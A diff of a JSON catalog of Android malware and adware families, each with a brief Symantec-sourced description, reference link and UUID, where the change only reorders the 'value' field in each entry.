"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-5215-99"
]
},
- "uuid": "9fa68491-57fc-4d85-a063-0b822286c25f"
+ "uuid": "9fa68491-57fc-4d85-a063-0b822286c25f",
+ "value": "Kuguo"
},
{
- "value": "Lastacloud",
"description": "Lastacloud is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-121216-4334-99"
]
},
- "uuid": "3bbf47e9-57b1-4bd1-9dc3-34d59e203771"
+ "uuid": "3bbf47e9-57b1-4bd1-9dc3-34d59e203771",
+ "value": "Lastacloud"
},
{
- "value": "Laucassspy",
"description": "Laucassspy is a spyware program for Android devices that steals information and sends it to a remote location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-092409-1822-99"
]
},
- "uuid": "3b3956a8-a1cb-4839-8731-08295c2b88d6"
+ "uuid": "3b3956a8-a1cb-4839-8731-08295c2b88d6",
+ "value": "Laucassspy"
},
{
- "value": "Lifemonspy",
"description": "Lifemonspy is a spyware application for Android devices that can track the phone's location, download SMS messages, and erase certain data from the device.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-5540-99"
]
},
- "uuid": "063abe8e-3688-48af-848e-132d636b4ecc"
+ "uuid": "063abe8e-3688-48af-848e-132d636b4ecc",
+ "value": "Lifemonspy"
},
{
- "value": "Lightdd",
"description": "Lightdd is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-053114-2342-99"
]
},
- "uuid": "47aec378-9c9c-432c-9cd5-ddaa7942c6f4"
+ "uuid": "47aec378-9c9c-432c-9cd5-ddaa7942c6f4",
+ "value": "Lightdd"
},
{
- "value": "Loaderpush",
"description": "Loaderpush is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0244-99"
]
},
- "uuid": "5b137010-c01c-4811-b93f-e1de1c986563"
+ "uuid": "5b137010-c01c-4811-b93f-e1de1c986563",
+ "value": "Loaderpush"
},
{
- "value": "Locaspy",
"description": "Locaspy is a Potentially Unwanted Application for Android devices that tracks the location of the compromised device.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-030720-3500-99"
]
},
- "uuid": "75e2f27a-cdeb-4768-808e-469d99a581d1"
+ "uuid": "75e2f27a-cdeb-4768-808e-469d99a581d1",
+ "value": "Locaspy"
},
{
- "value": "Lockdroid.E",
"description": "Lockdroid.E is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-103005-2209-99"
]
},
- "uuid": "04fc65b7-47a1-4eac-b485-ea8a6933613c"
+ "uuid": "04fc65b7-47a1-4eac-b485-ea8a6933613c",
+ "value": "Lockdroid.E"
},
{
- "value": "Lockdroid.F",
"description": "Lockdroid.F is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-102215-4346-99"
]
},
- "uuid": "a98bb328-2a25-4733-b1d2-688abf25784d"
+ "uuid": "a98bb328-2a25-4733-b1d2-688abf25784d",
+ "value": "Lockdroid.F"
},
{
- "value": "Lockdroid.G",
"description": "Lockdroid.G is a Trojan horse for Android devices that may display a ransom demand on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-050610-2450-99"
]
},
- "uuid": "0e4f2334-889f-4438-bdfb-b4287397fc43"
+ "uuid": "0e4f2334-889f-4438-bdfb-b4287397fc43",
+ "value": "Lockdroid.G"
},
{
- "value": "Lockdroid.H",
"description": "Lockdroid.H is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2016-031621-1349-99"
]
},
- "uuid": "f453d127-48ae-4422-9e79-fb138f26de83"
+ "uuid": "f453d127-48ae-4422-9e79-fb138f26de83",
+ "value": "Lockdroid.H"
},
{
- "value": "Lockscreen",
"description": "Lockscreen is a Trojan horse for Android devices that locks the compromised device from use. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-032409-0743-99"
]
},
- "uuid": "370237dc-95f4-47a0-9985-2ec8151f7e3a"
+ "uuid": "370237dc-95f4-47a0-9985-2ec8151f7e3a",
+ "value": "Lockscreen"
},
{
- "value": "LogiaAd",
"description": "LogiaAd is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0348-99"
]
},
- "uuid": "8a065cda-da87-46b6-960a-2bcc74e92fd1"
+ "uuid": "8a065cda-da87-46b6-960a-2bcc74e92fd1",
+ "value": "LogiaAd"
},
{
- "value": "Loicdos",
"description": "Loicdos is an Android application that provides an interface to a website in order to perform a denial of service (DoS) attack against a computer. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-022002-2431-99"
]
},
- "uuid": "32ec05c2-a360-49b1-8863-166fd0011460"
+ "uuid": "32ec05c2-a360-49b1-8863-166fd0011460",
+ "value": "Loicdos"
},
{
- "value": "Loozfon",
"description": "Loozfon is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-082005-5451-99"
]
},
- "uuid": "983458be-99a4-460a-be5d-c8b284468a61"
+ "uuid": "983458be-99a4-460a-be5d-c8b284468a61",
+ "value": "Loozfon"
},
{
- "value": "Lotoor",
"description": "Lotoor is a generic detection for hack tools that exploit vulnerabilities in order to gain root privileges on compromised Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-091922-4449-99"
]
},
- "uuid": "f459ff4a-3015-458f-8402-9981b6164f17"
+ "uuid": "f459ff4a-3015-458f-8402-9981b6164f17",
+ "value": "Lotoor"
},
{
- "value": "Lovespy",
"description": "Lovespy is a Trojan horse for Android devices that steals information from the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-071814-3805-99"
]
},
- "uuid": "508ab8e3-c950-4adf-b87a-90f86423fa4d"
+ "uuid": "508ab8e3-c950-4adf-b87a-90f86423fa4d",
+ "value": "Lovespy"
},
{
- "value": "Lovetrap",
"description": "Lovetrap is a Trojan horse that sends SMS messages to premium-rate phone numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-072806-2905-99"
]
},
- "uuid": "ab2b8596-4304-4682-a324-6a9ddd9a9c31"
+ "uuid": "ab2b8596-4304-4682-a324-6a9ddd9a9c31",
+ "value": "Lovetrap"
},
{
- "value": "Luckycat",
"description": "Luckycat is a Trojan horse for Android devices that opens a back door and steals information on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-080617-5343-99"
]
},
- "uuid": "5429dd64-74f5-4370-85f0-2654c067dfc5"
+ "uuid": "5429dd64-74f5-4370-85f0-2654c067dfc5",
+ "value": "Luckycat"
},
{
- "value": "Machinleak",
"description": "Machinleak is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-120311-2440-99"
]
},
- "uuid": "68c21410-a32c-4151-9e3e-bd3070937bfd"
+ "uuid": "68c21410-a32c-4151-9e3e-bd3070937bfd",
+ "value": "Machinleak"
},
{
- "value": "Maistealer",
"description": "Maistealer is a Trojan that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-072411-4350-99"
]
},
- "uuid": "88521447-177a-4024-b336-0a065e6d7f16"
+ "uuid": "88521447-177a-4024-b336-0a065e6d7f16",
+ "value": "Maistealer"
},
{
- "value": "Malapp",
"description": "Malapp is a generic detection for many individual but varied threats on Android devices that share similar characteristics. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-073014-3354-99"
]
},
- "uuid": "4b2483e7-acc2-4eec-bd7f-a8ac45e403b4"
+ "uuid": "4b2483e7-acc2-4eec-bd7f-a8ac45e403b4",
+ "value": "Malapp"
},
{
- "value": "Malebook",
"description": "Malebook is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-071206-3403-99"
]
},
- "uuid": "93177c2f-79fa-4b3e-8312-994306bac870"
+ "uuid": "93177c2f-79fa-4b3e-8312-994306bac870",
+ "value": "Malebook"
},
{
- "value": "Malhome",
"description": "Malhome is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-071118-0441-99"
]
},
- "uuid": "6178421f-b4d9-4307-b9ac-f75139651adf"
+ "uuid": "6178421f-b4d9-4307-b9ac-f75139651adf",
+ "value": "Malhome"
},
{
- "value": "Malminer",
"description": "Malminer is a Trojan horse for Android devices that mines cryptocurrencies on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032712-3709-99"
]
},
- "uuid": "1e7e1c16-f241-41ea-ab12-f3c3f72f0931"
+ "uuid": "1e7e1c16-f241-41ea-ab12-f3c3f72f0931",
+ "value": "Malminer"
},
{
- "value": "Mania",
"description": "Mania is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-070623-1520-99"
]
},
- "uuid": "dd97858e-001b-4ac4-9947-fcfdf24e12f7"
+ "uuid": "dd97858e-001b-4ac4-9947-fcfdf24e12f7",
+ "value": "Mania"
},
{
- "value": "Maxit",
"description": "Maxit is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals certain information and uploads it to a remote location. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-120411-2511-99"
]
},
- "uuid": "0687203f-8f57-4de3-86f5-ceb3f151151c"
+ "uuid": "0687203f-8f57-4de3-86f5-ceb3f151151c",
+ "value": "Maxit"
},
{
- "value": "MdotM",
"description": "MdotM is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5824-99"
]
},
- "uuid": "aa94146b-6901-4c6c-8669-d64b4eb70594"
+ "uuid": "aa94146b-6901-4c6c-8669-d64b4eb70594",
+ "value": "MdotM"
},
{
- "value": "Medialets",
"description": "Medialets is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5222-99"
]
},
- "uuid": "3bd73087-fdf8-426a-84b9-50f308a05c53"
+ "uuid": "3bd73087-fdf8-426a-84b9-50f308a05c53",
+ "value": "Medialets"
},
{
- "value": "Meshidden",
"description": "Meshidden is a spyware application for Android devices that allows the device it is installed on to be monitored.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031913-5257-99"
]
},
- "uuid": "35ec0f9f-4516-45ed-b101-6829bd99ce86"
+ "uuid": "35ec0f9f-4516-45ed-b101-6829bd99ce86",
+ "value": "Meshidden"
},
{
- "value": "Mesploit",
"description": "Mesploit is a tool for Android devices used to create applications that exploit the Android Fake ID vulnerability.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-032014-2847-99"
]
},
- "uuid": "bed7e358-3b69-4944-898f-aabf32e1af3d"
+ "uuid": "bed7e358-3b69-4944-898f-aabf32e1af3d",
+ "value": "Mesploit"
},
{
- "value": "Mesprank",
"description": "Mesprank is a Trojan horse for Android devices that opens a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-030717-1933-99"
]
},
- "uuid": "989b1801-a3a9-4671-b161-d7b07cbbae32"
+ "uuid": "989b1801-a3a9-4671-b161-d7b07cbbae32",
+ "value": "Mesprank"
},
{
- "value": "Meswatcherbox",
"description": "Meswatcherbox is a spyware application for Android devices that forwards SMS messages without the user knowing.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-2736-99"
]
},
- "uuid": "d4a7f045-7e1c-4467-8eb7-7dc3ce3c04dd"
+ "uuid": "d4a7f045-7e1c-4467-8eb7-7dc3ce3c04dd",
+ "value": "Meswatcherbox"
},
{
- "value": "Miji",
"description": "Miji is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4720-99"
]
},
- "uuid": "c5fa5347-0338-43f1-813b-b11ce13a44e5"
+ "uuid": "c5fa5347-0338-43f1-813b-b11ce13a44e5",
+ "value": "Miji"
},
{
- "value": "Milipnot",
"description": "Milipnot is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-070414-0941-99"
]
},
- "uuid": "44ab46dd-7027-4f66-a716-d59db5cf5e73"
+ "uuid": "44ab46dd-7027-4f66-a716-d59db5cf5e73",
+ "value": "Milipnot"
},
{
- "value": "MillennialMedia",
"description": "MillennialMedia is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4602-99"
]
},
- "uuid": "549a3d4e-d8f8-48b5-9b4b-659646640f85"
+ "uuid": "549a3d4e-d8f8-48b5-9b4b-659646640f85",
+ "value": "MillennialMedia"
},
{
- "value": "Mitcad",
"description": "Mitcad is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040212-0528-99"
]
},
- "uuid": "03d069bd-53f5-4d62-82af-2461b8b501f7"
+ "uuid": "03d069bd-53f5-4d62-82af-2461b8b501f7",
+ "value": "Mitcad"
},
{
- "value": "MobClix",
"description": "MobClix is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4011-99"
]
},
- "uuid": "9688b924-811f-4315-ba42-2ee1e9e52b55"
+ "uuid": "9688b924-811f-4315-ba42-2ee1e9e52b55",
+ "value": "MobClix"
},
{
- "value": "MobFox",
"description": "MobFox is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-3050-99"
]
},
- "uuid": "ee248082-86b3-48ce-9500-47ccd471edec"
+ "uuid": "ee248082-86b3-48ce-9500-47ccd471edec",
+ "value": "MobFox"
},
{
- "value": "Mobidisplay",
"description": "Mobidisplay is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-0435-99"
]
},
- "uuid": "d2a7cd95-3a32-4da4-97fb-a0982c2eaf60"
+ "uuid": "d2a7cd95-3a32-4da4-97fb-a0982c2eaf60",
+ "value": "Mobidisplay"
},
{
- "value": "Mobigapp",
"description": "Mobigapp is a Trojan horse for Android devices that downloads applications disguised as system updates. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-062520-5802-99"
]
},
- "uuid": "f35969cc-13d8-46cf-a4cc-ff2f15844205"
+ "uuid": "f35969cc-13d8-46cf-a4cc-ff2f15844205",
+ "value": "Mobigapp"
},
{
- "value": "MobileBackup",
"description": "MobileBackup is a spyware application for Android devices that monitors the affected device.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-0040-99"
]
},
- "uuid": "caea6805-dad0-44b7-a0f2-3f41c227698c"
+ "uuid": "caea6805-dad0-44b7-a0f2-3f41c227698c",
+ "value": "MobileBackup"
},
{
- "value": "Mobilespy",
"description": "Mobilespy is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-071512-0653-99"
]
},
- "uuid": "a6acb97a-359a-4fdc-9f27-2190dbe66c02"
+ "uuid": "a6acb97a-359a-4fdc-9f27-2190dbe66c02",
+ "value": "Mobilespy"
},
{
- "value": "Mobiletx",
"description": "Mobiletx is a Trojan horse for Android devices that steals information from the compromised device. It may also send SMS messages to a premium-rate number. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-052807-4439-99"
]
},
- "uuid": "3752d35b-0cbf-41ee-a057-6252342d94a7"
+ "uuid": "3752d35b-0cbf-41ee-a057-6252342d94a7",
+ "value": "Mobiletx"
},
{
- "value": "Mobinaspy",
"description": "Mobinaspy is a spyware application for Android devices that can track the device's location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-0511-99"
]
},
- "uuid": "dda43d3d-5852-4957-834a-a711bbfa3e4a"
+ "uuid": "dda43d3d-5852-4957-834a-a711bbfa3e4a",
+ "value": "Mobinaspy"
},
{
- "value": "Mobus",
"description": "Mobus is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2006-99"
]
},
- "uuid": "95272c25-5df1-47ef-af3d-88e7b7492d45"
+ "uuid": "95272c25-5df1-47ef-af3d-88e7b7492d45",
+ "value": "Mobus"
},
{
- "value": "MobWin",
"description": "MobWin is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1522-99"
]
},
- "uuid": "960804ae-0c6a-42de-9f0c-2b20a56c2c32"
+ "uuid": "960804ae-0c6a-42de-9f0c-2b20a56c2c32",
+ "value": "MobWin"
},
{
- "value": "Mocore",
"description": "Mocore is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-092112-4603-99"
]
},
- "uuid": "be1c2349-1864-4164-905b-cd971454448d"
+ "uuid": "be1c2349-1864-4164-905b-cd971454448d",
+ "value": "Mocore"
},
{
- "value": "Moghava",
"description": "Moghava is a Trojan horse for Android devices that modifies images that are stored on the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-022712-2822-99"
]
},
- "uuid": "671a2ca3-fa4f-4bfb-95d0-ac9c2479edff"
+ "uuid": "671a2ca3-fa4f-4bfb-95d0-ac9c2479edff",
+ "value": "Moghava"
},
{
- "value": "Momark",
"description": "Momark is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-5529-99"
]
},
- "uuid": "f68ccede-1c5a-4d27-8d5f-2e68ebbbfcd7"
+ "uuid": "f68ccede-1c5a-4d27-8d5f-2e68ebbbfcd7",
+ "value": "Momark"
},
{
- "value": "Monitorello",
"description": "Monitorello is a spyware application for Android devices that allows the device it is installed on to be monitored.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-4737-99"
]
},
- "uuid": "5b89b17f-d569-4c7d-9990-c8054d506e02"
+ "uuid": "5b89b17f-d569-4c7d-9990-c8054d506e02",
+ "value": "Monitorello"
},
{
- "value": "Moolah",
"description": "Moolah is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1007-99"
]
},
- "uuid": "c630be3f-709c-42e7-8523-905ca6896066"
+ "uuid": "c630be3f-709c-42e7-8523-905ca6896066",
+ "value": "Moolah"
},
{
- "value": "MoPub",
"description": "MoPub is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-2456-99"
]
},
- "uuid": "1243bbc1-32a5-4034-a68b-fe67472469af"
+ "uuid": "1243bbc1-32a5-4034-a68b-fe67472469af",
+ "value": "MoPub"
},
{
- "value": "Morepaks",
"description": "Morepaks is a Trojan horse for Android devices that downloads remote files and may display advertisements on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-071204-1130-99"
]
},
- "uuid": "20ca85ec-bb04-47b1-9179-aa3871724cc4"
+ "uuid": "20ca85ec-bb04-47b1-9179-aa3871724cc4",
+ "value": "Morepaks"
},
{
- "value": "Nandrobox",
"description": "Nandrobox is a Trojan horse for Android devices that steals information from the compromised device. It also deletes certain SMS messages from the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-070212-2132-99"
]
},
- "uuid": "32ebe3f6-4a19-4e95-b06b-18663f4f0b43"
+ "uuid": "32ebe3f6-4a19-4e95-b06b-18663f4f0b43",
+ "value": "Nandrobox"
},
{
- "value": "Netisend",
"description": "Netisend is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-080207-1139-99"
]
},
- "uuid": "deef380d-8e63-4669-9f5b-0cbf50c57070"
+ "uuid": "deef380d-8e63-4669-9f5b-0cbf50c57070",
+ "value": "Netisend"
},
{
- "value": "Nickispy",
"description": "Nickispy is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-072714-3613-99"
]
},
- "uuid": "7bdcf5c4-4c1d-4f37-8811-58f60c07dc51"
+ "uuid": "7bdcf5c4-4c1d-4f37-8811-58f60c07dc51",
+ "value": "Nickispy"
},
{
- "value": "Notcompatible",
"description": "Notcompatible is a Trojan horse for Android devices that acts as a proxy. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050307-2712-99"
]
},
- "uuid": "c18d1cdc-855a-47b0-93f6-9d8795c9121d"
+ "uuid": "c18d1cdc-855a-47b0-93f6-9d8795c9121d",
+ "value": "Notcompatible"
},
{
- "value": "Nuhaz",
"description": "Nuhaz is a Trojan horse for Android devices that may intercept text messages on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-3416-99"
]
},
- "uuid": "ea8ff12e-fdd1-425d-bb4e-39374040b290"
+ "uuid": "ea8ff12e-fdd1-425d-bb4e-39374040b290",
+ "value": "Nuhaz"
},
{
- "value": "Nyearleaker",
"description": "Nyearleaker is a Trojan horse program for Android devices that steals information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-010514-0844-99"
]
},
- "uuid": "08381c6b-5c92-4e14-8ad5-52954b101907"
+ "uuid": "08381c6b-5c92-4e14-8ad5-52954b101907",
+ "value": "Nyearleaker"
},
{
- "value": "Obad",
"description": "Obad is a Trojan horse for Android devices that opens a back door, steals information, and downloads files. It also sends SMS messages to premium-rate numbers and spreads malware to Bluetooth-enabled devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-060411-4146-99"
]
},
- "uuid": "f59181e2-6214-4ff7-842e-916d124b3535"
+ "uuid": "f59181e2-6214-4ff7-842e-916d124b3535",
+ "value": "Obad"
},
{
- "value": "Oneclickfraud",
"description": "Oneclickfraud is a Trojan horse for Android devices that attempts to coerce a user into paying for a pornographic service. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-011205-4412-99"
]
},
- "uuid": "99ebc7b4-dbba-4c1c-a991-3c75d69007f6"
+ "uuid": "99ebc7b4-dbba-4c1c-a991-3c75d69007f6",
+ "value": "Oneclickfraud"
},
{
- "value": "Opfake",
"description": "Opfake is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-2732-99"
]
},
- "uuid": "9017bea0-d29e-4a2d-bda5-03ca6d0c7bc0"
+ "uuid": "9017bea0-d29e-4a2d-bda5-03ca6d0c7bc0",
+ "value": "Opfake"
},
{
- "value": "Opfake.B",
"description": "Opfake.B is a Trojan horse for the Android platform that may receive commands from a remote attacker to perform various functions. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-022406-1309-99"
]
},
- "uuid": "40115080-242e-4278-97b6-77171aa6ec47"
+ "uuid": "40115080-242e-4278-97b6-77171aa6ec47",
+ "value": "Opfake.B"
},
{
- "value": "Ozotshielder",
"description": "Ozotshielder is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-091505-3230-99"
]
},
- "uuid": "b6e17717-a860-412b-a223-8fb0a7f5fe26"
+ "uuid": "b6e17717-a860-412b-a223-8fb0a7f5fe26",
+ "value": "Ozotshielder"
},
{
- "value": "Pafloat",
"description": "Pafloat is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-2015-99"
]
},
- "uuid": "4fa40665-8a2a-4b01-bda7-5860497a46cc"
+ "uuid": "4fa40665-8a2a-4b01-bda7-5860497a46cc",
+ "value": "Pafloat"
},
{
- "value": "PandaAds",
"description": "PandaAds is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1959-99"
]
},
- "uuid": "fd4d373a-dc7a-4ed0-8880-3f4d46ab4541"
+ "uuid": "fd4d373a-dc7a-4ed0-8880-3f4d46ab4541",
+ "value": "PandaAds"
},
{
- "value": "Pandbot",
"description": "Pandbot is a Trojan horse for Android devices that may download more files onto the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-071215-1454-99"
]
},
- "uuid": "aaa14125-c4eb-49b1-a397-6eb23e9ca8bf"
+ "uuid": "aaa14125-c4eb-49b1-a397-6eb23e9ca8bf",
+ "value": "Pandbot"
},
{
- "value": "Pdaspy",
"description": "Pdaspy is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-0749-99"
]
},
- "uuid": "d206b674-2c8b-4165-955f-c7b3747f881e"
+ "uuid": "d206b674-2c8b-4165-955f-c7b3747f881e",
+ "value": "Pdaspy"
},
{
- "value": "Penetho",
"description": "Penetho is a hacktool for Android devices that can be used to crack the WiFi password of the router that the device is using.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-100110-3614-99"
]
},
- "uuid": "a032b966-7274-4963-82e3-4d6ea805db91"
+ "uuid": "a032b966-7274-4963-82e3-4d6ea805db91",
+ "value": "Penetho"
},
{
- "value": "Perkel",
"description": "Perkel is a Trojan horse for Android devices that may steal information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-082811-4213-99"
]
},
- "uuid": "c076d45a-d4f8-4e6b-9f69-71687b5670f7"
+ "uuid": "c076d45a-d4f8-4e6b-9f69-71687b5670f7",
+ "value": "Perkel"
},
{
- "value": "Phimdropper",
"description": "Phimdropper is a Trojan horse for Android devices that sends and intercepts incoming SMS messages. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-021002-2943-99"
]
},
- "uuid": "12801a82-add4-48f4-957a-5e7b09f2d0e3"
+ "uuid": "12801a82-add4-48f4-957a-5e7b09f2d0e3",
+ "value": "Phimdropper"
},
{
- "value": "Phospy",
"description": "Phospy is a Trojan horse for Android devices that steals confidential information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-060706-4803-99"
]
},
- "uuid": "058809da-b25d-429b-8773-e2b2f820d5ef"
+ "uuid": "058809da-b25d-429b-8773-e2b2f820d5ef",
+ "value": "Phospy"
},
{
- "value": "Piddialer",
"description": "Piddialer is a Trojan horse for Android devices that dials premium-rate numbers from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-111020-2247-99"
]
},
- "uuid": "c561faeb-2b49-413c-90fa-879fed864e76"
+ "uuid": "c561faeb-2b49-413c-90fa-879fed864e76",
+ "value": "Piddialer"
},
{
- "value": "Pikspam",
"description": "Pikspam is a Trojan horse for Android devices that sends spam SMS messages from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-121815-0336-99"
]
},
- "uuid": "da914e7e-8cd2-49d2-9e6c-ce7f5174f3e1"
+ "uuid": "da914e7e-8cd2-49d2-9e6c-ce7f5174f3e1",
+ "value": "Pikspam"
},
{
- "value": "Pincer",
"description": "Pincer is a Trojan horse for Android devices that steals confidential information and opens a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-052307-3530-99"
]
},
- "uuid": "4ef79875-3b57-4025-8a2a-07cdb078064f"
+ "uuid": "4ef79875-3b57-4025-8a2a-07cdb078064f",
+ "value": "Pincer"
},
{
- "value": "Pirator",
"description": "Pirator is a Trojan horse on the Android platform that downloads files and steals potentially confidential information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-021609-5740-99"
]
},
- "uuid": "42b22f4f-c4ca-49a7-8ef2-4f470a611d87"
+ "uuid": "42b22f4f-c4ca-49a7-8ef2-4f470a611d87",
+ "value": "Pirator"
},
{
- "value": "Pjapps",
"description": "Pjapps is a Trojan horse that has been embedded on third party applications and opens a back door on the compromised device. It retrieves commands from a remote command and control server. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-022303-3344-99"
]
},
- "uuid": "5ad131de-ee9b-4815-9779-dd41bbc691ac"
+ "uuid": "5ad131de-ee9b-4815-9779-dd41bbc691ac",
+ "value": "Pjapps"
},
{
- "value": "Pjapps.B",
